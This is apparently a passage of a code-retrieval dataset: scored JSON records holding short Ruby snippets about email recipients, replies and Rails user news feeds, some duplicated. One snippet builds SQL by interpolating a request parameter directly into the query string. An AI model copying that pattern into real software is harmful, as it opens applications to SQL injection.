"0.62601435", "text": "def recipients\n @message['To'].split ', '\n end", "title": "" }, { "docid": "56fe7a0626365c7d10b6bb96f790b8f1", "score": "0.623468", "text": "def emails\n self[\"gd$email\"] ? self[\"gd$email\"].map { |e| e.address } : []\n end", "title": "" }, { "docid": "56fe7a0626365c7d10b6bb96f790b8f1", "score": "0.623468", "text": "def emails\n self[\"gd$email\"] ? self[\"gd$email\"].map { |e| e.address } : []\n end", "title": "" }, { "docid": "56fe7a0626365c7d10b6bb96f790b8f1", "score": "0.623468", "text": "def emails\n self[\"gd$email\"] ? self[\"gd$email\"].map { |e| e.address } : []\n end", "title": "" }, { "docid": "0f4831d55ef3ddd60cb489969abda9f5", "score": "0.62053794", "text": "def list_addresses\n bounce? ? tmail.header_string('to').sub(/\\Amlist-/, '') : recipient_addresses\n end", "title": "" }, { "docid": "666af9c4cf1f4e6e94950b92a2edcb66", "score": "0.62016845", "text": "def recipients\n message.recipients\n end", "title": "" }, { "docid": "07587774703b791bbf182505df0d0e98", "score": "0.61972827", "text": "def email_addresses\n contact_method.select { |cm| cm['InternetEmailAddress'] }\n end", "title": "" }, { "docid": "068074629da6b14f1bdaa6aa6572ef8d", "score": "0.617344", "text": "def recipients\n all_users.map(&:mail).flatten.sort.uniq\n end", "title": "" }, { "docid": "500a4c5b34b093fa90abfbd43bac9253", "score": "0.6160605", "text": "def emails_full\n self[\"gd$email\"] ? self[\"gd$email\"].map(&method(:format_email)) : []\n end", "title": "" }, { "docid": "4c7bdf4bb3b397649dc71cb3779c4495", "score": "0.61467636", "text": "def message_recipients\n api_response.dig('toRecipients')\n end", "title": "" }, { "docid": "1f67c0666530deb092a444ad89470851", "score": "0.6141005", "text": "def reply_addresses( default = nil )\n reply_to_addrs(nil) or from_addrs(nil) or default\n end", "title": "" }, { "docid": "291ea6d72a78bb3007efb098ab46f210", "score": "0.6121861", "text": "def reply_to_all\n message = reply\n message.to( (to + [sender]).uniq )\n message.cc(cc - [receiver])\n message.bcc(bcc - [receiver])\n # use the very first message to anchor all replies\n if self.message.original_message\n message.original_message = self.message.original_message\n else\n message.original_message = self.message\n end\n message\n end", "title": "" }, { "docid": "915ac19be4b15b73fd7be01159defcb6", "score": "0.61107105", "text": "def reply_to=( *strs )\n set_string_array_attr 'Reply-To', strs\n end", "title": "" }, { "docid": "2ebf13d94fe06f544c2211a06bc5f9ba", "score": "0.6097845", "text": "def to\n email_message.to_recipients.map(&:to_s)\n end", "title": "" }, { "docid": "eef6959a077ffaf7d3de6b364e6db660", "score": "0.6093828", "text": "def list_email_forwards_array(domain)\n email_forwards = []\n doc = Nokogiri::XML(list_email_forwards(domain))\n doc.xpath('/namesilo/reply/addresses').each do |a|\n ef = EmailForward.new\n ef.email = a.xpath('email').text()\n fts = []\n a.xpath('forwards_to').each do |ft|\n fts << ft.text()\n end\n ef.forwards_to = fts\n email_forwards << ef\n end\n email_forwards\n end", "title": "" }, { "docid": "5eae54b99cebaca87d2ea5b524376bb1", "score": "0.60778046", "text": "def recipients\n NotifiyUsersMailer.recipients\n end", "title": "" }, { "docid": "cae48fcba0a1bdbb924789b3001d1e98", "score": "0.607525", "text": "def responses_in_curr\n log \" Scanning for responses to messages I wrote\"\n my_mail = @imap.search self.all_email\n\n return [] if my_mail.empty?\n\n msg_ids = @imap.fetch my_mail, \"BODY.PEEK[#{MESSAGE_ID}]\"\n msg_ids.map! do |data|\n data.attr[\"BODY[#{MESSAGE_ID}]\"].split(':', 2).last.strip\n end\n\n messages = msg_ids.map do |id|\n @imap.search([\n 'HEADER', 'In-Reply-To', id,\n 'NOT', 'FLAGGED',\n 'NOT', 'KEYWORD', AUTO_FLAG_KEYWORD\n ])\n end\n\n messages.flatten!\n\n log \" Found #{messages.length} messages\"\n\n return messages\n end", "title": "" }, { "docid": "64341f14090b6617a97ee12adfe0ef43", "score": "0.60666436", "text": "def additional_notification_recipients\n return @additional_notification_recipients\n end", "title": "" }, { "docid": "767b3522ddc7a7eeb3ee613a7e030af0", "score": "0.6062478", "text": "def notification_recipients\n return @notification_recipients\n end", "title": "" }, { "docid": "da6fb77cffd42c7a494a0da4c09f68b1", "score": "0.6040884", "text": "def replies\r\n [submission_replies.published, journal_replies.published].flatten\r\n end", "title": "" }, { "docid": "1b36eb108d7f19951d710c467bf81b7f", "score": "0.6024449", "text": "def recipients\n recipients = []\n recipients << @user\n cc = embargo_notification_cc\n recipients << cc unless cc.nil?\n recipients\n end", "title": "" }, { "docid": "529665f30d3bb5c2c9a9cfdee79083f5", "score": "0.6022227", "text": "def replies\n self.posts[1..-1]\n end", "title": "" }, { "docid": "c26a739010dc28c1d3c03dec5aecbe94", "score": "0.6021018", "text": "def recipients\n Array.wrap(::User.find_by_user_key(@work.depositor))\n end", "title": "" }, { "docid": "78bc3d09e359fa1c1b4fee5707c9e443", "score": "0.6018529", "text": "def recipient_suggestions\n return @recipient_suggestions\n end", "title": "" }, { "docid": "d562d9a6d18ccfc155426bd7c6697829", "score": "0.60170054", "text": "def in_reply_to()\n ids = nil\n if self.has_key?('--in-reply-to') then\n ids = self.get_ids_in_csv(self['--in-reply-to'].last)\n if ids.nil? then\n raise AbstractExecutor::CmdOptionError.new(\"--in-reply-to invalid argument.\")\n end\n end\n return ids\n end", "title": "" }, { "docid": "d5364df305172b18d31417e16ec29ecc", "score": "0.6014396", "text": "def email_addresses\n if synced?\n eventbookings.pluck(:email).uniq\n else\n target_groups.map(&:email_addresses).flatten.uniq\n end\n end", "title": "" }, { "docid": "61abb8584ae89482d0ea08b99b4f2207", "score": "0.60131603", "text": "def default_email_recipients\n []\n end", "title": "" }, { "docid": "9b7175a08aa00a196058a2c1980da8aa", "score": "0.60106426", "text": "def receiver_email\n self.to_email_a.join(\", \")\n end", "title": "" }, { "docid": "8e95dd18cbf0b3365b44825c3fd04a2b", "score": "0.60077614", "text": "def automatic_replies\n return @automatic_replies\n end", "title": "" }, { "docid": "a50ee9cce7bc085d69153da3b8b23bf8", "score": "0.5986051", "text": "def recipients\n return @recipients\n end", "title": "" }, { "docid": "687c0dc75187a5cc411ff6e92954b1cc", "score": "0.5982249", "text": "def reply_to_all(mail, reply_body, subject = nil)\n msg = mail.message\n recipients = msg.recipients.clone()\n if(msg.sender != self)\n recipients.delete(self)\n if(!recipients.include?(msg.sender))\n recipients << msg.sender\n end\n end\n return reply(mail.conversation, recipients, reply_body, subject)\n end", "title": "" }, { "docid": "7a42a19c547fbe2c499a250be1a5d136", "score": "0.5978607", "text": "def replies\n @replies ||= self.forum_posts[1..-1]\n end", "title": "" }, { "docid": "22690805d347b59bf6e413b0df5a1190", "score": "0.5977513", "text": "def in_reply_to=( *idstrs )\n set_string_array_attr 'In-Reply-To', idstrs\n end", "title": "" }, { "docid": "52217fa1fca85440605933320803c5e3", "score": "0.5976216", "text": "def emails\n MailArchive.where(MessageReference: mail_archive_reference)\n end", "title": "" }, { "docid": "da8e6d03acd580aa142ccf8f6838b442", "score": "0.5974461", "text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n #notified << assigned_to if assigned_to && assigned_to.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail) \n end", "title": "" }, { "docid": "28170786fb9b63844897880b854e6d55", "score": "0.597109", "text": "def emails()\n @emails\n end", "title": "" }, { "docid": "ea3bab5d933701937d0301a9d502224c", "score": "0.5964736", "text": "def watcher_recipients\n notified_watchers.collect(&:mail)\n end", "title": "" }, { "docid": "46fe2c8f943efcb31d45da7b222c432a", "score": "0.59470147", "text": "def emails\n @emails\n end", "title": "" }, { "docid": "3febb14c9955aa47cc31787acd414d00", "score": "0.59466374", "text": "def addresses\n\t\t\t@jr.listreceivedbyaddress(0, true).map do |addr_info|\n\t\t\t\tget_address(addr_info.fetch('address'))\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "3b91ce81067cfa8fbf97a242b26666d5", "score": "0.59106016", "text": "def notification_addresses\n users.map(&:email_tag)\n end", "title": "" }, { "docid": "f71c74c4ec56afc0dafd3ddac7eb6332", "score": "0.59039193", "text": "def reply_to_all\n message = reply\n message.to(to - [receiver] + [sender])\n message.cc(cc - [receiver])\n message.bcc(bcc - [receiver])\n message\n end", "title": "" }, { "docid": "f71c74c4ec56afc0dafd3ddac7eb6332", "score": "0.59039193", "text": "def reply_to_all\n message = reply\n message.to(to - [receiver] + [sender])\n message.cc(cc - [receiver])\n message.bcc(bcc - [receiver])\n message\n end", "title": "" }, { "docid": "a14c93fab0fba23db4218ea127ace828", "score": "0.59012", "text": "def recipients\n return @recipients\n end", "title": "" }, { "docid": "2a01ecaf8c541e9c23229ebc2649809a", "score": "0.59008086", "text": "def recipients; end", "title": "" }, { "docid": "6880a3ba9beace48d0ee9c2b25010a73", "score": "0.5895387", "text": "def to_email_a\n self.to ? self.to_email.split(',').map(&:strip).compact.uniq : []\n end", "title": "" }, { "docid": "b03803fa684379a5e97e458d1845fa8d", "score": "0.58914524", "text": "def notification_addresses\n self.users.map(&:email_tag)\n end", "title": "" }, { "docid": "50f023ba7b6af83071f4ef0d8ee1a1a7", "score": "0.58852583", "text": "def recipients(*) end", "title": "" }, { "docid": "02fc1fbf7a1ce0b8da67e16e9e3874e2", "score": "0.58785903", "text": "def recipients\n # project.users.select{|u| u.active? && u.notify_about?(self)}.uniq.map(&:mail)\n project.users.active.map(&:mail).compact.uniq\n end", "title": "" }, { "docid": "d2dada7d8ea9ec5e6cd1ff488da45236", "score": "0.58721435", "text": "def related_peoples_emails(comment, issue, translation)\n emails = [Shuttle::Configuration.mailer.translators_list,\n comment.user.try!(:email),\n issue.user.try!(:email),\n issue.updater.try!(:email)] +\n issue.comments.includes(:user).map { |comment| comment.user.try!(:email) }\n\n emails.compact.uniq\n end", "title": "" }, { "docid": "9601dc54b82722654578085d96316a0b", "score": "0.58668673", "text": "def extract_reply(body, sender_email)\n body.strip\n .gsub(/\\n^[^\\r\\n]*#{sender_email}.*:.*\\z/m, '')\n .strip\n end", "title": "" }, { "docid": "d4bb2447321b9619310419d72afa2337", "score": "0.58575225", "text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n #notified << assigned_to if assigned_to && assigned_to.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end", "title": "" }, { "docid": "d4bb2447321b9619310419d72afa2337", "score": "0.58575225", "text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n #notified << assigned_to if assigned_to && assigned_to.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end", "title": "" }, { "docid": "baf5fb4c1920561fa14ec4714fb02ee0", "score": "0.58535975", "text": "def emails\n if page_info.nil?\n return nil\n end\n em = (page_info['emails'] || \"\").split(\"\\r\\n\")\n if em.empty?\n return []\n else\n return em\n end\n end", "title": "" }, { "docid": "f5f0a112f59dc4aa7e4c5d04d0fa3047", "score": "0.58501554", "text": "def addl_emails\n self.dig_for_array(\"addlEmails\")\n end", "title": "" }, { "docid": "b42557583c8350c6c19b8406629744dd", "score": "0.58430326", "text": "def admin_emails\n admins.collect { |p| p.confirmed_notification_email_addresses } .flatten\n end", "title": "" }, { "docid": "dff5d61cd7efb7651308b22bf96bf9a4", "score": "0.58317786", "text": "def confirmed_notification_emails_to\n send_message_to = EmailService.emails_to_send_message(emails)\n EmailService.emails_to_smtp_addresses(send_message_to)\n end", "title": "" }, { "docid": "dff5d61cd7efb7651308b22bf96bf9a4", "score": "0.58317786", "text": "def confirmed_notification_emails_to\n send_message_to = EmailService.emails_to_send_message(emails)\n EmailService.emails_to_smtp_addresses(send_message_to)\n end", "title": "" }, { "docid": "1771d1f150adc7d18ddea94d62cfa991", "score": "0.5831108", "text": "def addresses\n @sender.addresses\n end", "title": "" }, { "docid": "f9dc93123a618e2d2a3025aef2e0441a", "score": "0.5830833", "text": "def recipients\n result = Array.new\n JobOffer.where(job: self).each do |jo|\n result << jo.member\n end\n result\n end", "title": "" }, { "docid": "440d1c47faa84764140e46458af0551a", "score": "0.5824925", "text": "def invitee_emails\n invitees.map(&:email)\n end", "title": "" }, { "docid": "d36ca7e2725d4317008a92fa8007c33e", "score": "0.58226454", "text": "def recipients\n notified = cm_doc.project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n notified << assignee if assignee && assignee.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end", "title": "" }, { "docid": "51417b1aa06c4a40ada8329537a16f37", "score": "0.58214504", "text": "def emails\n\t\t\temail_array = []\n\t\t\tself.correspondents_to_email.each do |c|\n\t\t\t\temail_array << self.email_hash(c)\n\t\t\t\tc.attempted_to_send = true\n\t\t\tend\n\t\t\tself.save\n\t\t\temail_array\n\t\tend", "title": "" }, { "docid": "4c00725df07215d3faf47dd3579babba", "score": "0.5819267", "text": "def mail_recipients\n ActionMailer::Base.deliveries.map(&:to).flatten.to_set\n end", "title": "" }, { "docid": "e9cefcfa9d5eac24d7c4d81f9e6fdcc3", "score": "0.5817965", "text": "def replies\n Reply.find_by_question_id(@id)\n end", "title": "" }, { "docid": "a673aac1e07c86aa7deb5fbf0711b62a", "score": "0.58128923", "text": "def replies \n return [] if self.id.nil?\n sql = <<-SQL\n SELECT *\n FROM question_replies\n WHERE question_id = ? AND parent_id IS NULL\n SQL\n\n QuestionsDB.instance.execute(sql, id).map { |qa| Replies.parse(qa) }\n end", "title": "" }, { "docid": "fd9beef20426ad5f6f403f5feb6e9308", "score": "0.5810951", "text": "def recipients_email_link\n section = __method__\n text = \"\"\n html = \"\"\n recipients = get_nagios_var(\"NAGIOS_NOTIFICATIONRECIPIENTS\")\n return if recipients.nil?\n text += \"Sent to #{recipients}\\n\\n\"\n html += \"Sent to #{recipients}<br><br>\"\n add_text(section, text)\n add_html(section, html)\n end", "title": "" }, { "docid": "8c5a40a9fc552e969245394e280314b8", "score": "0.5810353", "text": "def mailing_list\n self.pledges.collect(&:user).collect(&:email)\n end", "title": "" }, { "docid": "0e8fac475123410ad50599d9ae21799d", "score": "0.58063596", "text": "def emails\n [@email] + @aliases\n end", "title": "" }, { "docid": "ca0989768fdecc2d897e8ed1ce8b1f00", "score": "0.5793888", "text": "def speaker_emails\n speakers.map(&:email).join(', ')\n end", "title": "" }, { "docid": "0e10aeb0c70492288951b06d002b0882", "score": "0.5781062", "text": "def users_to_notify\n emails = []\n\n # Walk our way up the discussion tree\n ancestors.each do |ancestor|\n emails << ancestor.display_email\n end\n\n # Add the post author\n emails << post.user.email\n\n emails.uniq\n end", "title": "" } ]
f3ec7b13f1467b1e78e5fc11ed74d65b
Returns the specified user's "news feed" GET /users/splatts_feed/1
[ { "docid": "6f58c1559a89894d9e49ac7fe23529c0", "score": "0.6777519", "text": "def splatts_feed\n\t@feed = Splatt.find_by_sql(\"SELECT splatts.user_id, splatts.body, splatts.created_at FROM splatts JOIN follows ON follows.followed_id = splatts.user_id WHERE follows.follower_id = #{params[:id]} ORDER BY splatts.created_at\")\n\t\n\trender json: @feed\nend", "title": "" } ]
[ { "docid": "7c58ea6428829908d8df32c018960556", "score": "0.73320335", "text": "def newsfeed\n check_auth :newsfeed\n \n response = connection.post do |req|\n req.url '/user/newsfeed'\n req.body = { :format => @format }\n end\n response\n end", "title": "" }, { "docid": "c00991c110ff912a526f3a64b94921ae", "score": "0.71323335", "text": "def feed\n get '/users/self/feed', auth_params\n end", "title": "" }, { "docid": "4f71fbef33ed68051010915c6fd3f47e", "score": "0.7036603", "text": "def rss\n\n # Get the specified user, making sure that it exists\n if !@user = User.find_by_login(params[:user_login])\n raise ActiveRecord::RecordNotFound\n end\n\n # If the everybody flag is set, respond with feed items about everybody\n # on Blavel\n # Otherwise, respond with feed items only about the people that the\n # current user is following\n @everybody = params[:everybody]\n if @everybody\n @feed_items = gather_feed_items\n else\n @feed_items = gather_feed_items(current_user)\n end\n\n rescue ActiveRecord::RecordNotFound => error\n logger.info error\n flash[:notice] = 'The user you requested does not exist.'\n redirect_to '/'\n end", "title": "" }, { "docid": "e5b2303e8c5133d6fd9f4ab2d220fad6", "score": "0.7031902", "text": "def index\n @user_feeds = UserFeed.find_all_by_user_id(current_user.id)\n end", "title": "" }, { "docid": "77672641730132ec507ccfe2594ca174", "score": "0.7019047", "text": "def username_feed(username)\n\t\t\tid = search_user(username)['data'][0]['id']\n\t\t\tfeed = user_feed(id)\t\t\t\n\t\t\treturn feed\n\t\tend", "title": "" }, { "docid": "80ddaf16d37f9f9b6de2c0e5dfd0e9ca", "score": "0.6747547", "text": "def user_live_feed(user_id, params = {})\n get(\"/v1/users/#{user_id}/live\", params)\n end", "title": "" }, { "docid": "c49de147796ae4f07815660b89148e50", "score": "0.6729413", "text": "def splatts_feed\n \t@feed = Splatt.find_by_sql(\"SELECT user_id, body, created_at FROM splatts JOIN follows ON follows.followed_id = splatts.user_id WHERE follows.follower_id = '#{params[:id]}' ORDER BY splatts.created_at\")\n \t\n \trender json: @feed\n end", "title": "" }, { "docid": "ddb1b53b6595b74e89ff283b48792a2c", "score": "0.67033523", "text": "def show\n \t@user = User.find(params[:id])\n # Make microposts available for users show-action\n @feed_items = @user.microposts.paginate(page: params[:page])\n end", "title": "" }, { "docid": "439214e1d8fce9c6670b3dd0126344bd", "score": "0.6613464", "text": "def index\n people_in_feed = current_user.feed_list\n @posts = Post.where(user: people_in_feed)\n end", "title": "" }, { "docid": "3affe7cea0ccd900ceea31882f4c14f6", "score": "0.6570303", "text": "def feed\n\t\t# This is preliminary. See \"Following users\" for the full implementation.\n\t\t#Micropost.where(\"user_id = ?\", id) # \"?\" ensures variable 'id' is properly escaped\n\t\t\t\t\t\t\t# before being used in SQL query\n\t\t\t\t\t\t\t# same as 'microposts' - which references all microposts of the user\n\t\t\t\t\t\t\t# But eventually want not just this user's microposts -- but the\n\t\t\t\t\t\t\t# microposts of the folks he's following\n\t\t\t\t\t\t\t# Otherwise user.microposts would've been fine, rather we want user.feed\n\t\t# rather than show posts by user, show posts by users the user follows\n\t\tMicropost.from_users_followed_by(self) \n\tend", "title": "" }, { "docid": "c5294fe4c6c9e2a67460a09db32d6072", "score": "0.6514249", "text": "def show\n redirect_to feeds_url\n # @feed = Feed.find(params[:id])\n # @user_feed = current_user.user_feeds.find_by_feed_id(@feed.id)\n end", "title": "" }, { "docid": "2e0d365cd3c9fd3ebef030bff5eaa8ff", "score": "0.6497581", "text": "def feed\n\t\tMicropost.where(\"user_id = ?\", id)\n\tend", "title": "" }, { "docid": "2e0d365cd3c9fd3ebef030bff5eaa8ff", "score": "0.6497581", "text": "def feed\n\t\tMicropost.where(\"user_id = ?\", id)\n\tend", "title": "" }, { "docid": "2e0d365cd3c9fd3ebef030bff5eaa8ff", "score": "0.6497581", "text": "def feed\n\t\tMicropost.where(\"user_id = ?\", id)\n\tend", "title": "" }, { "docid": "3b8c528a252f2da28f48e470220ee4f7", "score": "0.644843", "text": "def set_user_feed\n @feed = current_user.subscriptions.find(params[:id])\n end", "title": "" }, { "docid": "a8027b53e37d01c66bcc2ad353f48df7", "score": "0.643915", "text": "def show\n @feed = current_user.feeds.find_by_slug(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end", "title": "" }, { "docid": "5e28177e709c1e691997ef033274ddf6", "score": "0.64156926", "text": "def feed\n\t\tMicropost.where(\"user_id = ?\", id)\n \tend", "title": "" }, { "docid": "b6d127f129ba341fb3ddb9bf829898fe", "score": "0.6384068", "text": "def news_for_feed(feed_id)\n news = []\n\n where(:user_id => User.current_user_id, :feed_id => feed_id).each do |news_item|\n news.push news_item.attributes\n end\n\n news\n end", "title": "" }, { "docid": "44005976adb9f2a0b486096f385ea77b", "score": "0.63435745", "text": "def get_news_feed(user_id)\n ids = []\n @follows[user_id] = { user_id => 1 } unless @follows.key?(user_id)\n @alltweets.reverse_each do |uid, tid|\n ids << tid if uid == user_id || @follows[user_id][uid]\n return ids if ids.size >= 10 \n end\n ids\n end", "title": "" }, { "docid": "1cba41101aad08285df64266e81ce8dc", "score": "0.63391554", "text": "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "title": "" }, { "docid": "1cba41101aad08285df64266e81ce8dc", "score": "0.63391554", "text": "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "title": "" }, { "docid": "1cba41101aad08285df64266e81ce8dc", "score": "0.63391554", "text": "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "title": "" }, { "docid": "1cba41101aad08285df64266e81ce8dc", "score": "0.63391554", "text": "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "title": "" }, { "docid": "1cba41101aad08285df64266e81ce8dc", "score": "0.63391554", "text": "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "title": "" }, { "docid": "1cba41101aad08285df64266e81ce8dc", "score": "0.63391554", "text": "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "title": "" }, { "docid": "1cba41101aad08285df64266e81ce8dc", "score": "0.63391554", "text": "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "title": "" }, { "docid": "1cba41101aad08285df64266e81ce8dc", "score": "0.63391554", "text": "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "title": "" }, { "docid": "83f10afba91ec12bd299c0b1eb49be43", "score": "0.6298739", "text": "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "title": "" }, { "docid": "511b868c8bbc19a385fb7aad9f52772a", "score": "0.6257262", "text": "def feed\n # This is preliminary. See \"Following users\" for the full implementation.\n Micropost.where(\"story_id = ?\", id)\n end", "title": "" }, { "docid": "88da0d975c6addcf7f532320b4f6ad96", "score": "0.6254131", "text": "def feed\n user = User.find_by_case_insensitive_username(params[:id])\n if user\n redirect_to \"/feeds/#{user.feed.id}.atom\"\n else\n render :file => \"#{Rails.root}/public/404.html\", :status => 404\n end\n end", "title": "" }, { "docid": "c29c2d1d4a86517d592fc48ca9a1e01f", "score": "0.62387556", "text": "def show\n if @user != current_user\n redirect_to :action => 'feed', :id => @user.id\n end\n end", "title": "" }, { "docid": "ad90b1d90e72e9c4449df03baee600b2", "score": "0.62312454", "text": "def feed\n # escape the id to avoid security holes\n Micropost.where(\"user_id = ?\", id)\n end", "title": "" }, { "docid": "cbfdb5a1f97539ca0b18ed26c169240c", "score": "0.62272704", "text": "def feed\n # Preliminary implementation\n # The \"?\" ensures that the 'id' is properly escaped before being included in the underlying SQL query. This is more secure than inserting the 'id' into the SQL query directly because SQL injection would be possible otherwise\n \n #Micropost.where(\"user_id = ?\", id)\n\n # Display a feed of microposts for only the users that the user is following\n Micropost.from_users_followed_by(self)\n end", "title": "" }, { "docid": "c9e1d84b59bbe98d111c3adea6b64a0e", "score": "0.6223147", "text": "def news\n query = \"SELECT actor_id, post_id, target_id, created_time, updated_time, attribution, message, attachment, likes, comments, permalink, action_links FROM stream WHERE filter_key in (SELECT filter_key FROM stream_filter WHERE uid = '#{@user.id}' AND type = 'newsfeed')\"\n pp @session.fql_query(query)\nend", "title": "" }, { "docid": "3c6fdafad3b95957175b35b1929e8186", "score": "0.62005097", "text": "def feed_target\n User.find_by(id: feed_id)\n end", "title": "" }, { "docid": "f634c7095c07062849bcfc24feb97342", "score": "0.61744344", "text": "def user_news\n query = \"SELECT actor_id, post_id, target_id, created_time, updated_time, attribution, message, attachment, likes, comments, permalink, action_links \n FROM stream \n WHERE (filter_key in (SELECT filter_key FROM stream_filter WHERE uid = '#{@user.id}' AND type = 'newsfeed')) AND\n (actor_id = '#{@user.id}')\"\n pp @session.fql_query(query)\nend", "title": "" }, { "docid": "a3418f4b1ae206db4f7900ce4122c280", "score": "0.6164967", "text": "def feed\n Post.where(\"user_id IN (?) OR user_id = ?\", friend_ids, id).feed\n end", "title": "" }, { "docid": "4d133ac5fa8095bef68c73a8044b22bb", "score": "0.6139116", "text": "def feeds\n @user = current_user\n @subscribed_ids = @user.subscriptions.pluck(:feed_uid)\n end", "title": "" }, { "docid": "e26bc825c7d3149bc035e4ef30882f7b", "score": "0.6139033", "text": "def index\n @user = User.find(params[:user_id])\n @posts = Post.feed_items(@user)\n @post = Post.new\n end", "title": "" }, { "docid": "3376befbee76479d470863c279578e18", "score": "0.61131024", "text": "def feed\n @articles = Article.feed_list(current_user, params[:page])\n end", "title": "" }, { "docid": "8201163213b5fd27f9003c30e2bfad84", "score": "0.61058325", "text": "def feeds\n profile = Profile.find(params[:id])\n profile.feeds\n redirect_to lato_profile_path(profile)\n end", "title": "" }, { "docid": "532046f068a79c3b3e5543661fcb8c38", "score": "0.6102019", "text": "def feed\n # This is preliminary. See \"Following users\" for the full implementation\n Micropost.where( \"user_id = ?\", id ) \n # using ? ensures that id is properly escaped before submitting the SQL query\n end", "title": "" }, { "docid": "66587782f6b74ee6118ecc7f1c4c7353", "score": "0.6095837", "text": "def fetch_from_news_feed\n unless self.facebook_omniauth.blank?\n fb_user = self.facebook_client_user\n unless fb_user.blank?\n posts = fb_user.home # fetch posts\n Movie.name_is_not_blank.name_without_dictionary_word.this_year.each do |movie|\n posts.each do |post|\n FacebookFeed.create_facebook_post(post, movie, post.from)\n User.pull_comments(post, movie) #check for comments is present\n end # each post end\n end # movie end\n end\n end\n end", "title": "" }, { "docid": "0ffa0341f25ea292dc8605d035e1f603", "score": "0.6088299", "text": "def show\n @feed = Feed.find(params[:id])\n #@feeds = Feed.from_users_followed_by(current_user)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end", "title": "" }, { "docid": "4c93ae5f1fec0b477b003ca0e06ef824", "score": "0.60875976", "text": "def index\n @feed_items = @user.feed_items\n render json: @feed_items\n end", "title": "" }, { "docid": "06fcbf67275ca91a6ddedbadf5f351c9", "score": "0.60790104", "text": "def friend_feed(options={})\n get('/feed', options)\n end", "title": "" }, { "docid": "6d34f6d95d923976877bb96390e813ce", "score": "0.60644686", "text": "def index\n @page_title = 'Feeds'\n if !@user.nil?\n @feeds = @user.feeds\n else\n @feeds = Feed.find(:all, :limit => 100)\n end\n render_index\n end", "title": "" }, { "docid": "93883ff1b8249105cb46b4e1ee1f4647", "score": "0.605733", "text": "def set_feeds_user\n @feeds_user = FeedsUser.find(params[:id])\n end", "title": "" }, { "docid": "187a19603bb572cf9501550abda2a647", "score": "0.6056586", "text": "def show_nouser\n @feed = Feed.find_by_uid!(params[:feed])\n feed_uids = Rails.cache.fetch [:feed_uids, @feed] do\n [@feed.uid] + @feed.children.pluck(:uid)\n end\n\n if @date.nil?\n @date = @feed.last_paper_date\n end\n\n @backdate = _backdate(@date, @range)\n @recent_comments = _recent_comments(feed_uids)\n @papers, @pagination = _range_query(feed_uids, @backdate, @date, @page)\n\n render 'feeds/show'\n end", "title": "" }, { "docid": "997f48e9162eb25c7e5d7caa865fd27e", "score": "0.6046861", "text": "def feed\n\n # If the user is not logged in, render the non-member home action\n if !current_user\n render :template => 'promo/home', :layout => 'empty'\n else\n @everybody = params[:everybody]\n\n # If the everybody flag is set, respond with feed items about everybody\n # on Blavel\n # Otherwise, respond with feed items only about the people that the\n # current user is following\n if @everybody\n @feed_items = gather_feed_items\n else\n @feed_items = gather_feed_items(current_user)\n end\n\n # Pass through the first 5 followers and the first 5 followees, all\n # randomised\n @followers = current_user.followers.sort_by { rand }.first(6)\n @followees = current_user.followees.sort_by { rand }.first(6)\n\n # Respond with html or javascript, depending on whether it is requested\n # via ajax or not\n respond_to do |format|\n format.html\n format.js { render :template => 'feeds/feed.js.erb', :layout => false }\n end\n end\n end", "title": "" }, { "docid": "28ee42c91ef288b04b0fb10d7c4c9da9", "score": "0.6041992", "text": "def feed(usuario = \"me\")\n\t\t@graph.get_connections(usuario, 'feed')\n\tend", "title": "" }, { "docid": "04e9ee5291fdb17a6401718d7397bc99", "score": "0.6004912", "text": "def feed\n # This is preliminary. See \"Following users\" for the full implementation.\n #The question mark ensures that id is properly escaped before being included in the underlying SQL query, \n #thereby avoiding a serious security hole called SQL injection. The id attribute here is just an integer, \n #so there is no danger in this case, but always escaping variables injected into SQL statements is a good habit to cultivate. \n Micropost.where(\"user_id = ?\", id)\n end", "title": "" }, { "docid": "375952d9cb285bd6039e07d00ee42d2c", "score": "0.598021", "text": "def getAllUserFeed(userID)\n i = 0\n feed = Array.new\n feed[i] = getUserProfileFeed(userID, 0, 0)\n count = feed[i][\"count\"]\n i += 1\n while count > 0\n feed[i] = getUserProfileFeed(userID, feed[i-1][\"last_document_id\"], feed[i-1][\"last_event_id\"])\n count = feed[i][\"count\"]\n i += 1\n end\n feed\n end", "title": "" }, { "docid": "5bce58513052d8f950d7328be44900af", "score": "0.5976783", "text": "def show_nouser\n @feed = Feed.find_by_uid!(params[:feed])\n feed_uids = [@feed.uid] + @feed.children.pluck(:uid)\n\n @date = (_parse_date(params) || @feed.last_paper_date || Date.today).to_date\n @range = _parse_range(params) || 1\n @page = params[:page]\n\n if @range == :since_last\n # If we're not signed in, there's no sense\n # in which we can do \"since last\"\n @range = 1\n end\n\n @backdate = @date - (@range-1).days\n\n @recent_comments = _recent_comments(feed_uids)\n\n @papers = _range_query(feed_uids, @backdate, @date, @page)\n end", "title": "" }, { "docid": "1bd774dfcb5d51d13bd7a035b927c290", "score": "0.59579426", "text": "def set_feed_item\n @user = User.find(params[:user_id])\n end", "title": "" }, { "docid": "52e9b7d0fecf78e41a0e3bd2f150bd45", "score": "0.59301007", "text": "def show\n @feed = Feed.find(params[:id])\n end", "title": "" }, { "docid": "52e9b7d0fecf78e41a0e3bd2f150bd45", "score": "0.59301007", "text": "def show\n @feed = 